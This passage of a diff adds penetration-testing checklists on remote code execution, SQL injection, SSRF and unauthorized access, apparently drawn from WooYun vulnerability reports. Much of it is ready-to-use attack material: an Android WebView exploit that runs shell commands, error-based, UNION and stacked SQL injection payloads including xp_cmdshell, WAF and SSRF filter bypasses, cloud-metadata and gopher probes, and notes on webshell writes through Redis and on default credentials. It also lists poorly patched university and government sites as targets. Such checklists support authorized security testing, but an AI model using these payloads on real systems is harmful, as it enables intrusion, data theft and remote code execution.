4. Attempt null byte injection for extension bypasses
|
|
77
|
+
5. Try encoding variations if basic traversal is filtered
|
|
78
|
+
6. Target configuration files for credential extraction
|
|
79
|
+
7. Check if directory listing is enabled on web roots
|
|
80
|
+
8. Test both GET and POST parameter variants
|
|
81
|
+
|
|
82
|
+
## Common Root Causes
|
|
83
|
+
- `file_get_contents($_GET['path'])` without sanitization
|
|
84
|
+
- Download handlers that pass user input directly to filesystem
|
|
85
|
+
- Incomplete filtering (replacing `../` once instead of recursively)
|
|
86
|
+
- Extension validation via client-side or bypassable checks
|
|
87
|
+
- CMS file managers exposing parent directory navigation
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
# Remote Code Execution (RCE) Testing Checklist
|
|
2
|
+
> Derived from 11 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## High-Risk Parameters to Test
|
|
5
|
+
| Parameter | Context | Notes |
|
|
6
|
+
|-----------|---------|-------|
|
|
7
|
+
| `id` | 1x | Resource identifier triggering backend processing |
|
|
8
|
+
| `url` | 1x | URL parameter in protocol handlers |
|
|
9
|
+
| `repo` | 1x | Repository/package name parameters |
|
|
10
|
+
| `intent` | 1x | Android intent parameters |
|
|
11
|
+
| `apkpackagename` | 1x | Android package identifiers |
|
|
12
|
+
|
|
13
|
+
## Attack Pattern Distribution
|
|
14
|
+
| Pattern | Count | Percentage |
|
|
15
|
+
|---------|-------|------------|
|
|
16
|
+
| Remote command execution | 8 | 73% |
|
|
17
|
+
| Remote code execution | 3 | 27% |
|
|
18
|
+
|
|
19
|
+
## Vulnerability Categories
|
|
20
|
+
|
|
21
|
+
### 1. Android WebView Interface Exploitation (~35% of cases)
|
|
22
|
+
The most common RCE vector in this dataset targets mobile apps.
|
|
23
|
+
|
|
24
|
+
**Mechanism**: `addJavascriptInterface()` in Android WebView (pre-4.2)
|
|
25
|
+
exposes Java objects to JavaScript, enabling `java.lang.Runtime.exec()`.
|
|
26
|
+
|
|
27
|
+
**Detection pattern:**
|
|
28
|
+
```javascript
|
|
29
|
+
// Scan for exposed interfaces
|
|
30
|
+
for (var obj in window) {
|
|
31
|
+
if ("getClass" in window[obj]) {
|
|
32
|
+
// Vulnerable interface found
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
**Exploitation:**
|
|
38
|
+
```javascript
|
|
39
|
+
function execute(cmdArgs) {
|
|
40
|
+
return Navigator.getClass()
|
|
41
|
+
.forName("java.lang.Runtime")
|
|
42
|
+
.getMethod("getRuntime", null)
|
|
43
|
+
.invoke(null, null)
|
|
44
|
+
.exec(cmdArgs);
|
|
45
|
+
}
|
|
46
|
+
execute(["/system/bin/sh", "-c", "id"]);
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### 2. Struts2 Remote Code Execution (~25% of cases)
|
|
50
|
+
Same as command execution but categorized under RCE.
|
|
51
|
+
- University and government systems running outdated Struts2
|
|
52
|
+
- `.action` endpoints with OGNL injection
|
|
53
|
+
|
|
54
|
+
### 3. Desktop Application Protocol Handlers (~15% of cases)
|
|
55
|
+
- Custom protocol schemes (e.g., `bdbrowser://`)
|
|
56
|
+
- IM client message handling leading to local file/command execution
|
|
57
|
+
- Auto-update mechanisms hijacked via MITM
|
|
58
|
+
|
|
59
|
+
### 4. Enterprise Software RCE (~15% of cases)
|
|
60
|
+
- SAGE ERP universal RCE
|
|
61
|
+
- ActiveX buffer overflow in client applications
|
|
62
|
+
- SourceForge-class platform vulnerabilities
|
|
63
|
+
|
|
64
|
+
### 5. Client-Side MITM to RCE (~10% of cases)
|
|
65
|
+
- Auto-update over HTTP (no HTTPS/signature verification)
|
|
66
|
+
- Attacker replaces update binary via network interception
|
|
67
|
+
- Affects desktop and mobile applications
|
|
68
|
+
|
|
69
|
+
## Quick Test Vectors
|
|
70
|
+
```
|
|
71
|
+
1. Android apps: Check for addJavascriptInterface in APK
|
|
72
|
+
2. Web apps: Test .action/.do endpoints for Struts2
|
|
73
|
+
3. Desktop apps: Test custom protocol handlers
|
|
74
|
+
4. Auto-update: Check if updates use HTTPS + signature verification
|
|
75
|
+
5. Enterprise: Check exposed management consoles
|
|
76
|
+
6. Mobile: Test WebView for JavaScript bridge interfaces
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
## High-Value Targets
|
|
80
|
+
- **Mobile applications**: Android apps with WebView bridges
|
|
81
|
+
- **IM/messaging clients**: Message rendering with code execution
|
|
82
|
+
- **Desktop applications**: Protocol handlers and auto-updaters
|
|
83
|
+
- **Enterprise ERP systems**: Server-side code execution
|
|
84
|
+
- **Educational institution sites**: Often running outdated frameworks
|
|
85
|
+
|
|
86
|
+
## Root Causes
|
|
87
|
+
| Cause | Frequency |
|
|
88
|
+
|-------|-----------|
|
|
89
|
+
| Insecure Android WebView bridges | Most common |
|
|
90
|
+
| Unpatched framework vulnerabilities | Very common |
|
|
91
|
+
| Unsafe protocol handler registration | Occasional |
|
|
92
|
+
| HTTP auto-update without verification | Occasional |
|
|
93
|
+
| ActiveX/legacy plugin vulnerabilities | Rare |
|
|
@@ -0,0 +1,97 @@
|
|
|
1
|
+
# SQL Injection Testing Checklist
|
|
2
|
+
> Derived from 234 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## High-Risk Parameters to Test
|
|
5
|
+
| Parameter | Frequency | Notes |
|
|
6
|
+
|-----------|-----------|-------|
|
|
7
|
+
| `id` | 46x | Most commonly injectable; numeric IDs in GET requests |
|
|
8
|
+
| `action` | 8x | Action dispatch parameters in MVC frameworks |
|
|
9
|
+
| `act` | 5x | Shortened action parameter variant |
|
|
10
|
+
| `type` / `typeId` / `typeid` | 8x | Category/type selectors, often unquoted integers |
|
|
11
|
+
| `username` | 2x | Login forms, user lookups |
|
|
12
|
+
| `s` | 3x | Search parameters |
|
|
13
|
+
| `aid` | 3x | Article/asset IDs |
|
|
14
|
+
| `mod` | 4x | Module selectors |
|
|
15
|
+
| `uid` / `rid` / `cid` / `pid` | 10x | Various entity ID parameters |
|
|
16
|
+
| `Channel` | 1x | Content management routing |
|
|
17
|
+
|
|
18
|
+
## Attack Pattern Distribution
|
|
19
|
+
| Pattern | Count | Percentage |
|
|
20
|
+
|---------|-------|------------|
|
|
21
|
+
| Direct injection | 42 | 71% |
|
|
22
|
+
| Data leakage | 4 | 7% |
|
|
23
|
+
| Directory traversal chain | 1 | 2% |
|
|
24
|
+
| Getshell via SQLi | 1 | 2% |
|
|
25
|
+
|
|
26
|
+
## Common Injection Techniques (by frequency)
|
|
27
|
+
|
|
28
|
+
### 1. Error-Based (most common)
|
|
29
|
+
```
|
|
30
|
+
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x71,
|
|
31
|
+
(SELECT user()),0x71,FLOOR(RAND(0)*2))x
|
|
32
|
+
FROM information_schema.tables GROUP BY x)a)--
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
### 2. UNION-Based
|
|
36
|
+
```
|
|
37
|
+
' UNION SELECT 1,2,3,CONCAT(username,0x23,password)
|
|
38
|
+
FROM admin_table--
|
|
39
|
+
```
|
|
40
|
+
```
|
|
41
|
+
UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),
|
|
42
|
+
CONCAT((...),FLOOR(RAND(0)*2))a
|
|
43
|
+
FROM information_schema.tables GROUP BY a)b
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### 3. Time-Based Blind
|
|
47
|
+
```
|
|
48
|
+
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
|
|
49
|
+
' AND SLEEP(5)-- (MySQL)
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
### 4. Boolean-Based Blind
|
|
53
|
+
```
|
|
54
|
+
' AND 2020=2020 AND 'x'='x
|
|
55
|
+
' AND 1=1--
|
|
56
|
+
' AND 1=2--
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### 5. Stacked Queries (MSSQL)
|
|
60
|
+
```
|
|
61
|
+
'; WAITFOR DELAY '0:0:5'--
|
|
62
|
+
'; EXEC xp_cmdshell('whoami')--
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
## Bypass Techniques
|
|
66
|
+
- **Comment injection**: `/**/` between SQL keywords to evade WAF
|
|
67
|
+
- **Case variation**: `SeLeCt`, `uNiOn`
|
|
68
|
+
- **URL encoding**: `%27` for single quote, `%20` for space
|
|
69
|
+
- **Double encoding**: `%2527` for single quote
|
|
70
|
+
- **Array parameter abuse**: `gids[100][0]=) AND (subquery)#`
|
|
71
|
+
- **Numeric context**: Unquoted integer parameters skip string-based filters
|
|
72
|
+
|
|
73
|
+
## Quick Test Vectors
|
|
74
|
+
```
|
|
75
|
+
1. id=1' (error detection)
|
|
76
|
+
2. id=1 AND 1=1 / id=1 AND 1=2 (boolean blind)
|
|
77
|
+
3. id=1' OR '1'='1 (auth bypass)
|
|
78
|
+
4. id=1 AND SLEEP(5) (time blind MySQL)
|
|
79
|
+
5. id=1'; WAITFOR DELAY '0:0:5'-- (time blind MSSQL)
|
|
80
|
+
6. id=1 UNION SELECT NULL,NULL,NULL-- (column enumeration)
|
|
81
|
+
7. id=1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- (error-based)
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
## High-Value Targets
|
|
85
|
+
- **Login forms**: `username` parameter with stacked queries
|
|
86
|
+
- **Search functions**: `keyword`/`s` parameters with UNION injection
|
|
87
|
+
- **Content pages**: `id`/`typeid` in article/news detail pages
|
|
88
|
+
- **API endpoints**: `action` parameters in `.do`/`.action` handlers
|
|
89
|
+
- **ASP.NET apps**: `__EVENTVALIDATION` and viewstate parameters
|
|
90
|
+
|
|
91
|
+
## Database Distribution
|
|
92
|
+
| DBMS | Observed Frequency |
|
|
93
|
+
|------|-------------------|
|
|
94
|
+
| MySQL 5.x | Most common |
|
|
95
|
+
| Microsoft SQL Server | Second most common |
|
|
96
|
+
| Oracle | Occasional (government systems) |
|
|
97
|
+
| Access | Legacy ASP applications |
|
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
# SSRF Testing Checklist
|
|
2
|
+
> Derived from ~40 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## High-Risk Parameters to Test
|
|
5
|
+
| Parameter | Context |
|
|
6
|
+
|-----------|---------|
|
|
7
|
+
| `url` | URL fetch/proxy endpoints |
|
|
8
|
+
| `target` | Redirect or proxy targets |
|
|
9
|
+
| `inputFile` | File processing endpoints |
|
|
10
|
+
| `s_url` | Share/callback URLs |
|
|
11
|
+
| `imageUrl` | Image proxy/thumbnail |
|
|
12
|
+
| `callback` | JSONP/webhook endpoints |
|
|
13
|
+
| `link` | URL preview/unfurl |
|
|
14
|
+
| `src`, `ref` | Resource loading parameters |
|
|
15
|
+
|
|
16
|
+
## Common Attack Patterns
|
|
17
|
+
1. **Internal network scanning** via Weblogic UDDI Explorer (most common)
|
|
18
|
+
- `/uddiexplorer/SearchPublicRegistries.jsp` (CVE-2014-4210)
|
|
19
|
+
2. **URL proxy/fetch endpoints** with no domain restriction
|
|
20
|
+
3. **Image proxy SSRF** -- thumbnail generators that fetch arbitrary URLs
|
|
21
|
+
4. **Transcoding service SSRF** -- web page conversion services
|
|
22
|
+
5. **Webhook/callback SSRF** -- user-supplied callback URLs
|
|
23
|
+
6. **File processing SSRF** -- XML/document parsers fetching external resources
|
|
24
|
+
|
|
25
|
+
## Bypass Techniques
|
|
26
|
+
- **IP representations**: `127.0.0.1` → `0x7f000001`, `2130706433`, `0177.0.0.1`
|
|
27
|
+
- **DNS rebinding**: Domain that resolves to internal IP
|
|
28
|
+
- **URL encoding**: `%31%32%37%2e%30%2e%30%2e%31`
|
|
29
|
+
- **Redirect chain**: External URL that 302-redirects to internal address
|
|
30
|
+
- **IPv6**: `[::1]`, `[::ffff:127.0.0.1]`
|
|
31
|
+
- **URL parser differences**: `http://evil.com#@internal.host`
|
|
32
|
+
- **Protocol smuggling**: `gopher://`, `dict://`, `file://`
|
|
33
|
+
- **Partial domain match bypass**: `internal.company.com.evil.com`
|
|
34
|
+
|
|
35
|
+
## Quick Test Vectors
|
|
36
|
+
```
|
|
37
|
+
# Basic internal network probe
|
|
38
|
+
http://127.0.0.1
|
|
39
|
+
http://localhost
|
|
40
|
+
http://[::1]
|
|
41
|
+
http://0x7f000001
|
|
42
|
+
|
|
43
|
+
# Cloud metadata endpoints
|
|
44
|
+
http://169.254.169.254/latest/meta-data/
|
|
45
|
+
http://metadata.google.internal/
|
|
46
|
+
|
|
47
|
+
# Common internal services
|
|
48
|
+
http://INTERNAL_IP:8080 (Tomcat)
|
|
49
|
+
http://INTERNAL_IP:6379 (Redis)
|
|
50
|
+
http://INTERNAL_IP:27017 (MongoDB)
|
|
51
|
+
http://INTERNAL_IP:3306 (MySQL)
|
|
52
|
+
http://INTERNAL_IP:9200 (Elasticsearch)
|
|
53
|
+
http://INTERNAL_IP:11211 (Memcached)
|
|
54
|
+
|
|
55
|
+
# Weblogic SSRF (CVE-2014-4210)
|
|
56
|
+
/uddiexplorer/SearchPublicRegistries.jsp
|
|
57
|
+
?operator=http://INTERNAL_IP:PORT
|
|
58
|
+
&rdoSearch=name&txtSearchname=sdf
|
|
59
|
+
&txtSearchkey=&txtSearchfor=
|
|
60
|
+
&selfor=Business+location
|
|
61
|
+
&btnSubmit=Search
|
|
62
|
+
|
|
63
|
+
# Protocol smuggling
|
|
64
|
+
gopher://internal:6379/_INFO
|
|
65
|
+
dict://internal:6379/INFO
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
## Testing Methodology
|
|
69
|
+
1. Identify all endpoints that accept URLs or fetch remote resources
|
|
70
|
+
2. Test with `http://127.0.0.1` and known internal IP ranges
|
|
71
|
+
3. Observe response differences (timing, content, error messages)
|
|
72
|
+
4. Use time-based detection: compare response time for open vs closed ports
|
|
73
|
+
5. Test alternative IP representations and protocols
|
|
74
|
+
6. Check for Weblogic UDDI Explorer on Java applications
|
|
75
|
+
7. Probe for cloud metadata services
|
|
76
|
+
8. Test redirect-based bypasses if direct internal URLs are blocked
|
|
77
|
+
|
|
78
|
+
## Port Detection via Response Analysis
|
|
79
|
+
| Response | Meaning |
|
|
80
|
+
|----------|---------|
|
|
81
|
+
| Connection refused / different error | Port closed, host alive |
|
|
82
|
+
| Timeout | Host down or filtered |
|
|
83
|
+
| Content returned | Port open, service active |
|
|
84
|
+
| Specific error message | Port open, protocol mismatch |
|
|
85
|
+
|
|
86
|
+
## High-Value Internal Targets
|
|
87
|
+
- Redis (6379) -- can write webshell via `CONFIG SET dir`
|
|
88
|
+
- MongoDB (27017) -- often no auth, full DB access
|
|
89
|
+
- Memcached (11211) -- dump cached session data
|
|
90
|
+
- Elasticsearch (9200) -- search index data exposure
|
|
91
|
+
- Cloud metadata (169.254.169.254) -- IAM credentials
|
|
92
|
+
- Internal admin panels (8080, 8443, 9090)
|
|
93
|
+
|
|
94
|
+
## Common Root Causes
|
|
95
|
+
- URL fetch functions with no domain/IP allowlist
|
|
96
|
+
- Weblogic UDDI Explorer exposed to internet
|
|
97
|
+
- Image proxy services without input validation
|
|
98
|
+
- Incomplete blocklist (blocks `127.0.0.1` but not `0x7f000001`)
|
|
99
|
+
- No restriction on URL protocol scheme
|
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
# Unauthorized Access Testing Checklist
|
|
2
|
+
> Derived from ~55 real-world vulnerability cases (WooYun 2010-2016)
|
|
3
|
+
|
|
4
|
+
## High-Risk Parameters to Test
|
|
5
|
+
| Parameter | Context |
|
|
6
|
+
|-----------|---------|
|
|
7
|
+
| `uid`, `id` | User/resource identifiers (IDOR) |
|
|
8
|
+
| `cmd` | Command/action parameters |
|
|
9
|
+
| `lstate` | Login state flags |
|
|
10
|
+
| `mod`, `do` | Module/action selectors |
|
|
11
|
+
| `ajax` | AJAX request flags (auth bypass) |
|
|
12
|
+
| `gsid`, `type` | Session/type identifiers |
|
|
13
|
+
| `trueName` | User lookup endpoints |
|
|
14
|
+
| `filePath` | File access parameters |
|
|
15
|
+
| `code`, `method` | API method selectors |
|
|
16
|
+
|
|
17
|
+
## Common Attack Patterns (by frequency)
|
|
18
|
+
1. **Horizontal privilege escalation (IDOR)** -- Change user ID to access other accounts
|
|
19
|
+
2. **Authentication bypass** -- Direct URL access to admin pages
|
|
20
|
+
3. **Unauthenticated service access** -- Redis, MongoDB, Memcached exposed without auth
|
|
21
|
+
4. **Vertical privilege escalation** -- Regular user accessing admin functions
|
|
22
|
+
5. **Cookie/session manipulation** -- Forged or replayed authentication tokens
|
|
23
|
+
6. **Sandbox escape** -- Kiosk/terminal breakout via UI interaction
|
|
24
|
+
|
|
25
|
+
## Unauthenticated Service Exposure
|
|
26
|
+
| Service | Default Port | Risk |
|
|
27
|
+
|---------|-------------|------|
|
|
28
|
+
| Redis | 6379 | Webshell write, key dump |
|
|
29
|
+
| MongoDB | 27017 | Full database access |
|
|
30
|
+
| Memcached | 11211 | Session data, credential leak |
|
|
31
|
+
| Elasticsearch | 9200 | Index data exposure |
|
|
32
|
+
| JBOSS JMX | 8080 | Remote code execution |
|
|
33
|
+
| Docker API | 2375 | Container escape |
|
|
34
|
+
| Zabbix | 10051 | Command execution |
|
|
35
|
+
| Hadoop | 50070 | HDFS data access |
|
|
36
|
+
|
|
37
|
+
## Bypass Techniques
|
|
38
|
+
- **Direct URL access**: Skip login page, navigate directly to admin endpoints
|
|
39
|
+
- **Cookie manipulation**: Set `isAdmin=1` or modify role in JWT
|
|
40
|
+
- **Parameter injection**: Add `&admin=true` or `&role=admin`
|
|
41
|
+
- **HTTP method switching**: Try PUT/DELETE when GET/POST is blocked
|
|
42
|
+
- **Path traversal to admin**: `/admin/../admin/` or `/./admin/`
|
|
43
|
+
- **Request header spoofing**: `X-Forwarded-For: 127.0.0.1` for IP allowlists
|
|
44
|
+
- **SQL injection in login**: `' OR 1=1--` in username/password fields
|
|
45
|
+
- **Default credentials**: admin/admin, weblogic/weblogic, root/root
|
|
46
|
+
|
|
47
|
+
## Quick Test Vectors
|
|
48
|
+
```
|
|
49
|
+
# Direct admin access
|
|
50
|
+
/admin/
|
|
51
|
+
/manager/
|
|
52
|
+
/console/
|
|
53
|
+
/system/
|
|
54
|
+
/management/
|
|
55
|
+
|
|
56
|
+
# Service probing
|
|
57
|
+
redis-cli -h TARGET -p 6379 INFO
|
|
58
|
+
mongo TARGET:27017
|
|
59
|
+
curl http://TARGET:9200/_cat/indices
|
|
60
|
+
|
|
61
|
+
# IDOR testing
|
|
62
|
+
GET /api/user/profile?id=1001 (own)
|
|
63
|
+
GET /api/user/profile?id=1002 (other)
|
|
64
|
+
GET /api/user/profile?id=1 (admin)
|
|
65
|
+
|
|
66
|
+
# Authentication bypass
|
|
67
|
+
# Remove session cookie and access protected endpoints
|
|
68
|
+
# Modify user role in cookie/JWT
|
|
69
|
+
# Access API endpoints directly without authentication
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
## Testing Methodology
|
|
73
|
+
1. Enumerate all endpoints and map authentication requirements
|
|
74
|
+
2. Access each endpoint without authentication
|
|
75
|
+
3. Test IDOR by modifying user/resource IDs in requests
|
|
76
|
+
4. Scan for exposed database/infrastructure services
|
|
77
|
+
5. Try default credentials on admin panels and services
|
|
78
|
+
6. Test cookie/token manipulation for privilege escalation
|
|
79
|
+
7. Check if API endpoints enforce same auth as web UI
|
|
80
|
+
8. Verify that role checks are server-side, not client-side
|
|
81
|
+
|
|
82
|
+
## Common Root Causes
|
|
83
|
+
- Missing authentication middleware on admin routes
|
|
84
|
+
- Authorization checks in frontend JavaScript only
|
|
85
|
+
- Database services bound to 0.0.0.0 without authentication
|
|
86
|
+
- Sequential predictable IDs without ownership verification
|
|
87
|
+
- Session/role stored in client-modifiable cookie
|
|
88
|
+
- Default credentials left unchanged after deployment
|
|
89
|
+
- IP-based access control that trusts proxy headers
|